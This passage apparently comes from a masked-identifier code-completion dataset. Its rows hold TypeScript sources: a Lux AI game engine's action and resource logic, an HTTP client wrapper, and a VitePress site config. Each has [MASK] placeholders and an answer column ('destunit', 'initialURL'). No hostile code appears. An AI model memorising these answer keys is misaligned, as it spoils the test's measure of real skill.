          `Agent ${cmd.agentID} sent an extra command. Unit can perform only one action at a time`
        );

        acc.actionsPlaced.add(uid);
        return new SpawnCityAction(action, team, uid);
      }

      case Game.ACTIONS.BUILD_CART:
      case Game.ACTIONS.BUILD_WORKER: {
        check(args.length !== 2, malformedMsg, false);
        const x: number = parseInt(args[0]);
        const y: number = parseInt(args[1]);

        check(
          isNaN(x) || isNaN(y) || !this.map.inMap(new Position(x, y)),
          `Agent ${cmd.agentID} tried to build unit with invalid coordinates`
        );

        // check if being built on owned city tile
        const cell = this.map.getCell(x, y);
        // invalid if not a city or not owned
        check(
          !cell.isCityTile() || cell.citytile.team !== team,
          `Agent ${cmd.agentID} tried to build unit on tile (${x}, ${y}) that it does not own`
        );

        const citytile = cell.citytile;
        check(
          acc.actionsPlaced.has(citytile.getTileID()),
          `Agent ${cmd.agentID} sent an extra command. CityTile can perform only one action at a time`
        );

        check(
          !citytile.canBuildUnit(),
          `Agent ${cmd.agentID} tried to build unit on tile (${x}, ${y}) but CityTile still with cooldown of ${citytile.cooldown}`
        );

        if (action === Game.ACTIONS.BUILD_CART) {
          check(
            this.cartUnitCapReached(team, acc.cartsBuilt + acc.workersBuilt),
            `Agent ${cmd.agentID} tried to build unit on tile (${x}, ${y}) but unit cap reached. Build more CityTiles!`
          );
        } else {
          check(
            this.workerUnitCapReached(team, acc.cartsBuilt + acc.workersBuilt),
            `Agent ${cmd.agentID} tried to build unit on tile (${x}, ${y}) but unit cap reached. Build more CityTiles!`
          );
        }

        acc.actionsPlaced.add(citytile.getTileID());
        if (action === Game.ACTIONS.BUILD_CART) {
          acc.cartsBuilt += 1;
          return new SpawnCartAction(action, team, x, y);
        }

        acc.workersBuilt += 1;
        return new SpawnWorkerAction(action, team, x, y);
      }

      case Game.ACTIONS.MOVE: {
        check(args.length !== 2, malformedMsg, false);
        const uid = args[0];
        const direction = args[1] as Game.DIRECTIONS;

        check(
          !teamState.units.has(uid),
          `Agent ${cmd.agentID} tried to move unit ${uid} that it does not own`
        );

        const unit = teamState.units.get(uid);
        check(
          !unit.canMove(),
          `Agent ${cmd.agentID} tried to move unit ${uid} with cooldown: ${unit.cooldown}`
        );

        check(
          acc.actionsPlaced.has(uid),
          `Agent ${cmd.agentID} sent an extra command. Unit can perform only one action at a time`
        );

        check(
          !Object.values(Game.DIRECTIONS).includes(direction),
          `Agent ${cmd.agentID} tried to move unit ${uid} in invalid direction ${direction}`
        );

        if (direction !== Game.DIRECTIONS.CENTER) {
          const newpos = unit.pos.translate(direction, 1);
          check(
            !this.map.inMap(newpos),
            `Agent ${cmd.agentID} tried to move unit ${uid} off map`
          );

          check(
            this.map.getCellByPos(newpos).isCityTile() &&
              this.map.getCellByPos(newpos).citytile.team !== team,
            `Agent ${cmd.agentID} tried to move unit ${uid} onto opponent CityTile`
          );
        }

        acc.actionsPlaced.add(uid);
        return new MoveAction(
          action,
          team,
          uid,
          direction as Game.DIRECTIONS,
          this.map.getCellByPos(
            unit.pos.translate(direction as Game.DIRECTIONS, 1)
          )
        );
      }

      case Game.ACTIONS.RESEARCH: {
        check(args.length !== 2, malformedMsg, false);
        const x: number = parseInt(args[0]);
        const y: number = parseInt(args[1]);

        check(
          isNaN(x) || isNaN(y) || !this.map.inMap(new Position(x, y)),
          `Agent ${cmd.agentID} tried to run research at invalid coordinates`
        );

        // check if being researched on owned city tile
        const cell = this.map.getCell(x, y);
        // invalid if not a city or not owned
        check(
          !cell.isCityTile() || cell.citytile.team !== team,
          `Agent ${cmd.agentID} tried to run research at CityTile (${x}, ${y}) that it does not own`
        );

        const citytile = cell.citytile;
        check(
          !citytile.canResearch(),
          `Agent ${cmd.agentID} tried to run research at CityTile (${x}, ${y}) but CityTile still on cooldown ${citytile.cooldown}`,
          true
        );

        check(
          acc.actionsPlaced.has(citytile.getTileID()),
          `Agent ${cmd.agentID} sent an extra command. CityTile can perform only one action at a time`
        );

        acc.actionsPlaced.add(citytile.getTileID());
        return new ResearchAction(action, team, x, y);
      }

      case Game.ACTIONS.TRANSFER: {
        check(args.length !== 4, malformedMsg, false);
        const srcID = args[0];
        const destID = args[1];
        const resourceType = args[2] as Resource.Types;
        const amount = parseInt(args[3]);

        check(
          !teamState.units.has(srcID),
          `Agent ${cmd.agentID} does not own source unit: ${srcID} for transfer`
        );

        check(
          !teamState.units.has(destID),
          `Agent ${cmd.agentID} does not own destination unit: ${destID} for transfer`
        );

        check(
          !teamState.units.get(srcID).canAct(),
          `Agent ${cmd.agentID} tried to transfer resources with cooldown: ${
            teamState.units.get(srcID).cooldown
          }`
        );

        check(
          acc.actionsPlaced.has(srcID),
          `Agent ${cmd.agentID} sent an extra command. Unit can perform only one action at a time`
        );

        const srcUnit = teamState.units.get(srcID);
        const destUnit = teamState.units.get(destID);
        check(
          srcID === destID,
          `Agent ${cmd.agentID} tried to transfer between the same unit ${srcID}`
        );

        check(
          !srcUnit.pos.isAdjacent(destUnit.pos),
          `Agent ${cmd.agentID} tried to transfer between non-adjacent units: ${srcID}, ${destID}`
        );

        check(
          isNaN(amount) || amount < 0,
          `Agent ${cmd.agentID} tried to transfer invalid amount: ${amount}`
        );

        check(
          !Object.values(Resource.Types).includes(resourceType), //needs TS syntax check
          `Agent ${cmd.agentID} tried to transfer invalid resource: ${resourceType}`
        );

        acc.actionsPlaced.add(srcID);
        return new TransferAction(
          action,
          team,
          srcID,
          destID,
          resourceType as Resource.Types,
          amount
        );
      }
    }

    check(true, malformedMsg, false);
  }

  workerUnitCapReached(team: Unit.TEAM, offset = 0): boolean {
    let teamCityTilesCount = 0;
    this.cities.forEach((city) => {
      if (city.team === team) {
        teamCityTilesCount += city.citycells.length;
      }
    });
    return (
      this.state.teamStates[team].units.size + offset >= teamCityTilesCount
    );
  }

  cartUnitCapReached(team: Unit.TEAM, offset = 0): boolean {
    let teamCityTilesCount = 0;
    this.cities.forEach((city) => {
      if (city.team === team) {
        teamCityTilesCount += city.citycells.length;
      }
    });
    return (
      this.state.teamStates[team].units.size + offset >= teamCityTilesCount
    );
  }

  spawnWorker(team: Unit.TEAM, x: number, y: number, unitid?: string): Worker {
    const cell = this.map.getCell(x, y);
    const unit = new Worker(
      x,
      y,
      team,
      this.configs,
      this.globalUnitIDCount + 1
    );
    if (unitid) {
      unit.id = unitid;
    } else this.globalUnitIDCount++;
    cell.units.set(unit.id, unit);
    this.state.teamStates[team].units.set(unit.id, unit);
    this.stats.teamStats[team].workersBuilt += 1;
    return unit;
  }

  spawnCart(team: Unit.TEAM, x: number, y: number, unitid?: string): Cart {
    const cell = this.map.getCell(x, y);
    const unit = new Cart(x, y, team, this.configs, this.globalUnitIDCount + 1);
    if (unitid) {
      unit.id = unitid;
    } else this.globalUnitIDCount++;
    cell.units.set(unit.id, unit);
    this.state.teamStates[team].units.set(unit.id, unit);
    this.stats.teamStats[team].cartsBuilt += 1;
    return unit;
  }

  /**
   * Spawn city tile for a team at (x, y). Can pass cityid to use an existing city id
   */
  spawnCityTile(
    team: Unit.TEAM,
    x: number,
    y: number,
    cityid?: string
  ): CityTile {
    const cell = this.map.getCell(x, y);

    // now update the cities field accordingly
    const adjCells = this.map.getAdjacentCells(cell);

    const cityIdsFound: Set<string> = new Set();
    const adjSameTeamCityTiles = adjCells.filter((cell) => {
      if (cell.isCityTile() && cell.citytile.team === team) {
        cityIdsFound.add(cell.citytile.cityid);
        return true;
      }
      return false;
    });

    // if no adjacent city cells of same team, generate new city
    if (adjSameTeamCityTiles.length === 0) {
      const city = new City(team, this.configs, this.globalCityIDCount + 1);
      if (cityid) {
        city.id = cityid;
      } else {
        this.globalCityIDCount++;
      }
      cell.setCityTile(team, city.id);
      city.addCityTile(cell);
      this.cities.set(city.id, city);
      return cell.citytile;
    }
    // otherwise add tile to city
    else {
      const cityid = adjSameTeamCityTiles[0].citytile.cityid;
      const city = this.cities.get(cityid);
      cell.setCityTile(team, cityid);

      // update adjacency counts for bonuses
      cell.citytile.adjacentCityTiles = adjSameTeamCityTiles.length;
      adjSameTeamCityTiles.forEach((adjCell) => {
        adjCell.citytile.adjacentCityTiles += 1;
      });

      city.addCityTile(cell);

      // update all merged cities' cells with merged cityid, move to merged city and delete old city
      cityIdsFound.forEach((id) => {
        if (id !== cityid) {
          const oldcity = this.cities.get(id);
          oldcity.citycells.forEach((cell) => {
            cell.citytile.cityid = cityid;
            city.addCityTile(cell);
          });
          city.fuel += oldcity.fuel;
          this.cities.delete(oldcity.id);
        }
      });
      return cell.citytile;
    }
  }

  runCooldowns(): void {
    [Unit.TEAM.A, Unit.TEAM.B].forEach((team) => {
      const units = this.getTeamsUnits(team);
      units.forEach((unit) => {
        unit.cooldown -= this.map.getCellByPos(unit.pos).getRoad();
        unit.cooldown = Math.max(unit.cooldown - 1, 0);
      });
    });
  }

  /**
   * Move specified unit in specified direction
   */
  moveUnit(team: Unit.TEAM, unitid: string, direction: Game.DIRECTIONS): void {
    const unit = this.getUnit(team, unitid);
    // remove unit from old cell and move to new one and update unit pos
    this.map.getCellByPos(unit.pos).units.delete(unit.id);
    unit.pos = unit.pos.translate(direction, 1);
    this.map.getCellByPos(unit.pos).units.set(unit.id, unit);
  }

  distributeAllResources(): void {
    const miningOrder = [
      Resource.Types.URANIUM,
      Resource.Types.COAL,
      Resource.Types.WOOD,
    ];
    for (const curType of miningOrder) {
      this.map.resources
        .filter((cell) => cell.resource.type === curType)
        .forEach((cell) => {
          this.handleResourceRelease(cell);
        });
    }
  }

  /**
   * For cells with resources, this will release the resource to all adjacent workers (including any unit on top) in a
   * even manner and taking in account for the worker's team's research level. This is effectively a worker mining.
   *
   * Workers adjacent will only receive resources if they can mine it. They will
   * never receive more than they carry
   *
   * This function is called on cells in the order of uranium, coal, then wood resource deposits
   *
   *
   * @param cell - a cell with a resource
   */
  handleResourceRelease(originalCell: Cell): void {
    if (originalCell.hasResource()) {
      const type = originalCell.resource.type;
      const cells = [originalCell, ...this.map.getAdjacentCells(originalCell)];
      const workersToReceiveResources: Array<Worker | CityTile> = [];
      for (const cell of cells) {
        if (cell.isCityTile() && cell.units.size > 0 && this.state.teamStates[cell.citytile.team].researched[type]) {
          workersToReceiveResources.push(cell.citytile);
        } else {
          cell.units.forEach((unit) => {
            // note, this loop only appends one unit to the array since we can only have one unit per city tile
            if (
              unit.type === Unit.Type.WORKER &&
              this.state.teamStates[unit.team].researched[type]
            ) {
              workersToReceiveResources.push(unit as Worker);
            }
          });
        }
        
      }
      const isWorker = (pet: Worker | CityTile): pet is Worker => {
        return (pet as Worker).cargo !== undefined;
      }

      let rate: number;
      let conversionRate: number;
      switch (type) {
        case Resource.Types.WOOD:
          rate = this.configs.parameters.WORKER_COLLECTION_RATE.WOOD;
          conversionRate = this.configs.parameters.RESOURCE_TO_FUEL_RATE.WOOD;
          break;
        case Resource.Types.COAL:
          rate = this.configs.parameters.WORKER_COLLECTION_RATE.COAL;
          conversionRate = this.configs.parameters.RESOURCE_TO_FUEL_RATE.COAL;
          break;
        case Resource.Types.URANIUM:
          rate = this.configs.parameters.WORKER_COLLECTION_RATE.URANIUM;
          conversionRate = this.configs.parameters.RESOURCE_TO_FUEL_RATE.URANIUM;
          break;
      }
      // find out how many resources to distribute and release
      let amountToDistribute = rate * workersToReceiveResources.length;
      let amountDistributed = 0;
      // distribute only as much as the cell contains
      amountToDistribute = Math.min(
        amountToDistribute,
        originalCell.resource.amount
      );

      // distribute resources as evenly as possible

      // sort from least space to most so those with more capacity will have the correct distribution of resources before we reach cargo capacity
      workersToReceiveResources.sort(
        (a, b) => {
          if (isWorker(a) && isWorker(b)) {
            return a.getCargoSpaceLeft() - b.getCargoSpaceLeft()
          } else if (isWorker(a)) {
            return 1;
          } else if (isWorker(b)) {
            return -1;
          }
        }
      );

      workersToReceiveResources.forEach((entity, i) => {
        const spaceLeft = isWorker(entity) ? entity.getCargoSpaceLeft() : 9999999;
        const maxReceivable =
          amountToDistribute / (workersToReceiveResources.length - i);

        const distributeAmount = Math.min(spaceLeft, maxReceivable, rate);
        // we give workers a floored amount for sake of integers and effectiely waste the remainder
        if (isWorker(entity)) {
          entity.cargo[type] += Math.floor(distributeAmount);
        } else {
          const city = this.cities.get(entity.cityid);
          city.fuel += conversionRate * Math.floor(distributeAmount);
        }

        amountDistributed += distributeAmount;

        // update stats
        this.stats.teamStats[entity.team].resourcesCollected[type] +=
          Math.floor(distributeAmount);

        // subtract how much was given.
        amountToDistribute -= distributeAmount;
      });

      originalCell.resource.amount -= amountDistributed;

      // fixes a rare bug where sometimes JS will subtract a floating point (caused by a division somewhere)
      // and cause a 0 value to equal to the floating point approx equal to 7e-15
      if (originalCell.resource.amount < 1e-10) {
        originalCell.resource.amount = 0;
      }
    }
  }

  /**
   * Auto deposit resources of unit to tile it is on
   */
  handleResourceDeposit(unit: Unit): void {
    const cell = this.map.getCellByPos(unit.pos);
    if (cell.isCityTile() && cell.citytile.team === unit.team) {
      const city = this.cities.get(cell.citytile.cityid);
      let fuelGained = 0;
      fuelGained +=
        unit.cargo.wood * this.configs.parameters.RESOURCE_TO_FUEL_RATE.WOOD;
      fuelGained +=
        unit.cargo.coal * this.configs.parameters.RESOURCE_TO_FUEL_RATE.COAL;
      fuelGained +=
        unit.cargo.uranium *
        this.configs.parameters.RESOURCE_TO_FUEL_RATE.URANIUM;
      city.fuel += fuelGained;

      this.stats.teamStats[unit.team].fuelGenerated += fuelGained;

      unit.cargo = {
        wood: 0,
        uranium: 0,
        coal: 0,
      };
    }
  }

  getTeamsUnits(team: Unit.TEAM): Map<string, Unit> {
    return this.state.teamStates[team].units;
  }

  getUnit(team: Unit.TEAM, unitid: string): Unit {
    return this.state.teamStates[team].units.get(unitid);
  }

  /**
   * Transfer resouces on a given team between 2 units. This does not check adjacency requirement, but its expected
   * that the 2 units are adjacent. This allows for simultaneous movement of 1 unit and transfer of another
   */
  transferResources(
    team: Unit.TEAM,
    srcID: string,
    destID: string,
    resourceType: Resource.Types,
    amount: number
  ): void {
    const srcunit = this.getUnit(team, srcID);
    const  [MASK]  = this.getUnit(team, destID);
    // the amount to actually transfer is the minimum of:
    const transferAmount = Math.min(
      // the amount requested
      amount,
      // and all that we have if that's less than requested
      srcunit.cargo[resourceType],
      // and no more than destination-unit's remaining cargo-space
       [MASK] .getCargoSpaceLeft()
    );
    srcunit.cargo[resourceType] -= transferAmount;
     [MASK] .cargo[resourceType] += transferAmount;
  }

  /** destroys the city with this id and remove all city tiles */
  destroyCity(cityID: string): void {
    const city = this.cities.get(cityID);
    this.cities.delete(cityID);
    city.citycells.forEach((cell) => {
      cell.citytile = null;
      cell.road = this.configs.parameters.MIN_ROAD;
    });
  }

  /** destroys the unit with this id and team and removes from tile */
  destroyUnit(team: Unit.TEAM, unitid: string): void {
    const unit = this.getUnit(team, unitid);
    this.map.getCellByPos(unit.pos).units.delete(unitid);
    this.state.teamStates[team].units.delete(unitid);
  }

  /**
   * regenerates trees on map according to the following formula
   * let max_wood_amount be base and the current amount be curr
   *
   * then at the end of each turn after all moves and all resource collection is finished,
   * the wood at a wood tile grows to ceil(min(curr * 1.03, base))
   */
  regenerateTrees(): void {
    this.map.resources
      .filter((cell) => cell.resource.type === 'wood')
      .forEach((cell) => {
        // add this condition so we let forests near a city start large (but not regrow until below a max)
        if (cell.resource.amount < this.configs.parameters.MAX_WOOD_AMOUNT) {
          cell.resource.amount = Math.ceil(
            Math.min(
              cell.resource.amount * this.configs.parameters.WOOD_GROWTH_RATE,
              this.configs.parameters.MAX_WOOD_AMOUNT
            )
          );
        }
      });
  }

  /**
   * Process given move actions and returns a pruned array of actions that can all be executed with no collisions
   */
  handleMovementActions(
    actions: Array<MoveAction>,
    match: Match
  ): Array<MoveAction> {
    /**
     * Algo:
     *
     * iterate through all moves and store a mapping from cell to the actions that will cause a unit to move there
     *
     * for each cell that has multiple mapped to actions, we remove all actions as that cell is a ""bump"" cell
     * where no units can get there because they all bumped into each other
     *
     * for all removed actions for that particular cell, find the cell the unit that wants to execute the action is
     * currently at, labeled `origcell`. Revert these removed actions by first getting all the actions mapped from
     * `origcell` and then deleting that mapping, and then recursively reverting the actions mapped from `origcell`
     *
     */
    const cellsToActionsToThere: Map<Cell, Array<MoveAction>> = new Map();
    const movingUnits: Set<string> = new Set();

    actions.forEach((action) => {
      const newcell = action.newcell;
      const currActions = cellsToActionsToThere.get(newcell);
      if (currActions === undefined) {
        cellsToActionsToThere.set(newcell, [action]);
      } else {
        cellsToActionsToThere.set(newcell, [...currActions, action]);
      }
      movingUnits.add(action.unitid);
    });

    // reverts a given action such that cellsToActionsToThere has no collisions due to action and all related actions
    const revertAction = (action: MoveAction): void => {
      if (match) {
        match.log.warn(`${`turn ${this.state.turn}; Unit ${action.unitid} collided when trying to move ${action.direction} to (${action.newcell.pos.x}, ${action.newcell.pos.y})`}`);
      }
      const origcell = this.map.getCellByPos(
        this.getUnit(action.team, action.unitid).pos
      );

      // get the colliding actions caused by a revert of the given action and then delete them from the mapped origcell provided it is not a city tile
      const collidingActions = cellsToActionsToThere.get(origcell);
      if (!origcell.isCityTile()) {
        cellsToActionsToThere.delete(origcell);

        if (collidingActions) {
          // for each colliding action, revert it.
          collidingActions.forEach((collidingAction) => {
            revertAction(collidingAction);
          });
        }
      }
    };

    const actionedCells = Array.from(cellsToActionsToThere.keys());
    for (const cell of actionedCells) {
      const currActions = cellsToActionsToThere.get(cell);
      const actionsToRevert = [];
      if (currActions !== undefined) {
        if (currActions.length > 1) {
          // only revert actions that are going to the same tile that is not a city
          // if going to the same city tile, we know those actions are from same team units, and is allowed
          if (!cell.isCityTile()) {
            currActions.forEach((action) => {
              actionsToRevert.push(action);
            });
          }
        } else if (currActions.length === 1) {
          // if there is just one move action, check there isn't a unit on there that is not moving and not a city tile
          const action = currActions[0];
          if (!cell.isCityTile()) {
            if (cell.units.size === 1) {
              let unitThereIsStill = true;
              cell.units.forEach((unit) => {
                if (movingUnits.has(unit.id)) {
                  unitThereIsStill = false;
                }
              });
              if (unitThereIsStill) {
                actionsToRevert.push(action);
              }
            }
          }
        }
      }
      // if there are collisions, revert those actions and remove the mapping
      actionsToRevert.forEach((action) => {
        revertAction(action);
      });
      actionsToRevert.forEach((action) => {
        cellsToActionsToThere.delete(action.newcell);
      });
    }

    const prunedActions: Array<MoveAction> = [];
    cellsToActionsToThere.forEach((currActions) => {
      prunedActions.push(...currActions);
    });

    return prunedActions;
  }
  isNight(): boolean {
    const dayLength = this.configs.parameters.DAY_LENGTH;
    const cycleLength = dayLength + this.configs.parameters.NIGHT_LENGTH;
    return this.state.turn % cycleLength >= dayLength;
  }

  toStateObject(): SerializedState {
    const cities: SerializedState['cities'] = {};
    this.cities.forEach((city) => {
      cities[city.id] = {
        id: city.id,
        fuel: city.fuel,
        lightupkeep: city.getLightUpkeep(),
        team: city.team,
        cityCells: city.citycells.map((cell) => {
          return {
            x: cell.pos.x,
            y: cell.pos.y,
            cooldown: cell.citytile.cooldown,
          };
        }),
      };
    });
    const state: SerializedState = {
      turn: this.state.turn,
      globalCityIDCount: this.globalCityIDCount,
      globalUnitIDCount: this.globalUnitIDCount,
      teamStates: {
        [Unit.TEAM.A]: {
          researchPoints: 0,
          units: {},
          researched: {
            wood: true,
            coal: false,
            uranium: false,
          },
        },
        [Unit.TEAM.B]: {
          researchPoints: 0,
          units: {},
          researched: {
            wood: true,
            coal: false,
            uranium: false,
          },
        },
      },
      // stats: deepCopy(this.stats),
      map: this.map.toStateObject(),
      cities,
    };

    const teams = [Unit.TEAM.A, Unit.TEAM.B];
    teams.forEach((team) => {
      this.state.teamStates[team].units.forEach((unit) => {
        state.teamStates[team].units[unit.id] = {
          cargo: deepCopy(unit.cargo),
          cooldown: unit.cooldown,
          x: unit.pos.x,
          y: unit.pos.y,
          type: unit.type,
        };
      });
      state.teamStates[team].researchPoints =
        this.state.teamStates[team].researchPoints;
      state.teamStates[team].researched = deepCopy(
        this.state.teamStates[team].researched
      );
    });

    return state;
  }
}
export namespace Game {
  export interface Configs {
    width: number;
    height: number;
    parameters: LuxMatchConfigs;
  }
  export interface Stats {
    teamStats: {
      [x in Unit.TEAM]: TeamStats;
    };
  }
  export interface TeamStats {
    fuelGenerated: number;
    resourcesCollected: {
      [x in Resource.Types]: number;
    };
    cityTilesBuilt: number;
    workersBuilt: number;
    cartsBuilt: number;
    roadsBuilt: number;
    roadsPillaged: number;
  }
  export interface State {
    turn: number;
    teamStates: {
      [x in Unit.TEAM]: TeamState;
    };
  }
  export interface TeamState {
    researchPoints: number;
    units: Map<string, Unit>;
    researched: {
      [x in Resource.Types]: boolean;
    };
  }

  /**
   * All the available agent actions with specifications as to what they do and restrictions.
   */
  export enum ACTIONS {
    /**
     * Formatted as `m unitid direction`. unitid should be valid and should have empty space in that direction. moves
     * unit with id unitid in the direction
     */
    MOVE = 'm',
    /**
     * Formatted as `r x y`. (x,y) should be an owned city tile, the city tile is commanded to research for
     * the next X turns
     */
    RESEARCH = 'r',
    /** Formatted as `bw x y`. (x,y) should be an owned city tile, where worker is to be built */
    BUILD_WORKER = 'bw',
    /** Formatted as `bc x y`. (x,y) should be an owned city tile, where the cart is to be built */
    BUILD_CART = 'bc',
    /**
     * Formatted as `bcity unitid`. builds city at unitid's pos, unitid should be
     * friendly owned unit that is a worker
     */
    BUILD_CITY = 'bcity',
    /**
     * Formatted as `t source_unitid destination_unitid resource_type amount`. Both units in transfer should be
     * adjacent. If command valid, it will transfer as much as possible with a max of the amount specified
     */
    TRANSFER = 't',

    /** formatted as `p unitid`. Unit with the given unitid must be owned and pillages the tile they are on */
    PILLAGE = 'p',

    /** formatted as dc <x> <y> */
    DEBUG_ANNOTATE_CIRCLE = 'dc',
    /** formatted as dx <x> <y> */
    DEBUG_ANNOTATE_X = 'dx',
    /** formatted as dl <x1> <y1> <x2> <y2> */
    DEBUG_ANNOTATE_LINE = 'dl',
    /** formatted as dt <x> <y> <message> <fontsize> */
    DEBUG_ANNOTATE_TEXT = 'dt',
    /** formatted as dst <message> */
    DEBUG_ANNOTATE_SIDETEXT = 'dst',
  }

  export enum DIRECTIONS {
    NORTH = 'n',
    EAST = 'e',
    SOUTH = 's',
    WEST = 'w',
    CENTER = 'c',
  }
}

/**
 * internal use only
 */
type _AccumulatedActionStats = {
  [x in Unit.TEAM]: {
    workersBuilt: number;
    cartsBuilt: number;
    actionsPlaced: Set<string>;
  };
};
",destunit
909,"/*
    Copyright (C) 2021 rubybb <https://github.com/rubybb>

    Licensed under the Apache License, Version 2.0 (the ""License"");
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at

        http://www.apache.org/licenses/LICENSE-2.0

    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an ""AS IS"" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.
*/

/// <reference lib=""dom"" />
import FormData from ""form-data"";

import { compile } from ""path-to-regexp"";
import deepmerge from ""deepmerge"";
import fetch, { Request, Response } from ""cross-fetch"";
import qstr from ""query-string"";

export type PartialHTTPOptions = Partial<HTTPOptions>;
export type ResultType = ""response"" | keyof Response;

export declare interface HTTPOptions extends Omit<RequestInit, ""body""> {
    resultType: ResultType;
    query: Record<string, any>;
    excludeDefaults: boolean;
    baseURL: string;

    /** logs loads of information to console. */
    debug: boolean;

    /** prevents requests from throwing on response errors. */
    nothrow: boolean;

    /** for path params */
    [key: string]: unknown
}


class HTTPError extends Error {
    public name = ""HTTPError"";

    public method: string;
    public status = -1;

    constructor(public url: string, options: PartialHTTPOptions, response?: Response, public body?: unknown, message?: string) {
        super(message ? message : `Request failed (${options.method.toUpperCase()} ${url})`);

        this.method = options.method.toUpperCase();
        if (response) this.status = response.status;
    }

    public toJSON() {
        return {
            message: this.message,
            status: this.status,
            method: this.method,
            url: this.url,
            body: (typeof this.body !== ""undefined"" ?
                this.body : null
            ),
        };
    }
}

export class HTTP {
    constructor(public options: PartialHTTPOptions = {}, private immutable = false) { }

    static create(options: PartialHTTPOptions, immutable?: boolean): HTTP {
        return new HTTP(options, immutable);
    }

    public mutate(this: HTTP, options: PartialHTTPOptions): HTTP {
        if (this.immutable) throw new ReferenceError(""Cannot modify; HTTP instance declared as immutable"");

        this.options = deepmerge(this.options, options);
        return this;
    }

    public clone(this: HTTP, options: PartialHTTPOptions, immutable?: boolean): HTTP {
        return new HTTP(deepmerge(this.options, options), immutable);
    }

    private async request<T = unknown>(this: HTTP, path: string, options: PartialHTTPOptions = {}, body: unknown): Promise<null | T> {
        const _options = options; /* the options passed to the request function, without being merged into defaults */
        options = this.options.excludeDefaults ? _options : deepmerge(this.options, _options);

        /* handle url creation */
        const  [MASK]  = new URL(path, this.options.baseURL);
        let url = ( [MASK] .pathname.includes("":"")) ?
             [MASK] .href.replace( [MASK] .pathname, compile( [MASK] .pathname)(options)) :
             [MASK] .href;

        /* handle generation of query string */
        if (options.query) url += (""?"" + qstr.stringify(options.query));

        options.debug && console.debug(options.method, url, { path, options });
        const response: Response = await fetch(url, { ...options, body: (body as BodyInit) });

        if (!options.resultType || !response[options.resultType])
            /* nothrow doesn't matter here because this is not a response error 
               the function is being passed invalid paramaters, this should never fail silently. */
            throw new TypeError(`Unknown resultType (${options.resultType})`);

        let result = options.resultType === ""response"" ? response : await response[options.resultType];
        try { result = typeof result === ""function"" ? (await result.call(response)) : result; } catch (error) {
            if (!options.nothrow) throw new HTTPError(url, options, response, null, `Response failed (${error.message})`);
            result = null;
        }

        if (!response.ok && !options.nothrow) throw new HTTPError(url, options, response, result);
        return result as unknown as T;
    }

    async get<ResultType>(this: HTTP, path: string, options: Partial<HTTPOptions> = {}): Promise<ResultType> {
        return this.request<ResultType>(path, { ...options, method: ""GET"" }, null);
    }

    async head<ResultType>(this: HTTP, path: string, options: Partial<HTTPOptions> = {}): Promise<ResultType> {
        return this.request<ResultType>(path, { ...options, method: ""HEAD"" }, null);
    }

    /* body'd request methods */

    async post<ResultType>(this: HTTP, path: string, body: unknown, options: Partial<HTTPOptions> = {}): Promise<ResultType> {
        return this.request<ResultType>(path, { ...options, method: ""POST"" }, body);
    }

    async patch<ResultType>(this: HTTP, path: string, body: unknown, options: Partial<HTTPOptions> = {}): Promise<ResultType> {
        return this.request<ResultType>(path, { ...options, method: ""PATCH"" }, body);
    }

    async put<ResultType>(this: HTTP, path: string, body: unknown, options: Partial<HTTPOptions> = {}): Promise<ResultType> {
        return this.request<ResultType>(path, { ...options, method: ""PUT"" }, body);
    }

    /* optional body'd request methods */

    async delete<ResultType>(this: HTTP, path: string, body?: unknown, options: Partial<HTTPOptions> = {}): Promise<ResultType> {
        return this.request<ResultType>(path, { ...options, method: ""DELETE"" }, body);
    }
}

export const http = new HTTP({}, true);
export default http;",initialURL
910,"import { defineConfig } from 'vitepress'
import UnoCSS from 'unocss/vite'
import { resolveURL } from 'ufo'

export default defineConfig({
  head: [
    ['link', { rel: 'icon', href: '/logo.png' }],
    [
      'script',
      { async: '', src: 'https://www.googletagmanager.com/gtag/js?id=G-JYEBV84K3Q' }
    ],
    [
      'script',
      {},
      `window.dataLayer = window.dataLayer || [];
      function gtag(){dataLayer.push(arguments);}
      gtag('js', new Date());
      gtag('config', 'G-JYEBV84K3Q');`
    ]
  ],
  sitemap: {
    hostname: 'https://one.litingyes.top'
  },
  themeConfig: {
    logo: '/logo.png',
    externalLinkIcon: true,
    outline: [2, 4],
    search: {
      provider: 'local',
      options: {
        locales: {
          zh: {
            translations: {
              button: {
                buttonText: '搜索文档',
                buttonAriaLabel: '搜索文档'
              },
              modal: {
                noResultsText: '无法找到相关结果',
                resetButtonTitle: '清除查询条件',
                footer: {
                  selectText: '选择',
                  navigateText: '切换'
                }
              }
            }
          }
        }
      }
    },
    socialLinks: [
      { icon: 'github', link: 'https://github.com/litingyes/one' }
    ]
  },
  locales: {
    root: {
      label: ""简体中文"",
      lang: ""zh-CN"",
      title: ""One"",
      description: ""知识的歌者"",
      themeConfig: {
        footer: {
          message: '基于 CC0-1.0 许可发布',
          copyright: '版权所有 © 2024-当前 刘惠'
        },
        docFooter: {
          prev: '上一页',
          next: '下一页'
        },
        editLink: {
          pattern: 'https://github.com/litingyes/one/edit/main/docs/:path',
          text: '在 GitHub 上编辑此页面'
        },
        lastUpdated: {
          text: '最后更新于',
        },
        nav: [
          {
            text: '前端',
            items: [
              {
                text: 'Vue.js',
                link: '/fe/vue/request'
              }
            ]
          },
          {
            text: '后端',
            items: [
              {
                text: '技术规范',
                link: '/be/spec/restful-api'
              }
            ]
          }
        ],
        sidebar: {
          '/fe/': [
            {
              text: 'Vue.js',
              items: [
                {
                  text: 'Vue.js 生态最佳请求方案',
                  link: '/fe/vue/request'
                }
              ]
            }
          ]
        }
      }
    },
    en: {
      label: ""English"",
      lang: ""en-US"",
      title: ""One"",
      description: ""The singer of knowledge"",
      themeConfig: {
        footer: {
          message: 'Released under the CC0-1.0 License.',
          copyright: 'Copyright © 2024-present Liting'
        },
        docFooter: {
          prev: 'Previous page',
          next: 'Next page'
        },
        editLink: {
          pattern: 'https://github.com/litingyes/one/edit/main/docs/:path',
          text: 'Edit this page on GitHub'
        },
        lastUpdated: {
          text: 'Last updated at',
        },
        nav: [
          {
            text: 'Front End',
            items: [
              {
                text: 'Vue.js',
                link: '/en/fe/vue/request'
              }
            ]
          },
          {
            text: 'Back End',
            items: [
              {
                text: 'Spec',
                link: '/en/be/spec/restful-api'
              }
            ]
          }
        ],
        sidebar: {
          '/en/fe/': [
            {
              text: 'Vue.js',
              items: [
                {
                  text: 'Best Request Solution in Vue.js Ecosystem',
                  link: '/en/fe/vue/request'
                }
              ]
            }
          ]
        }
      }
    }
  },
  transformPageData( [MASK] , ctx) {
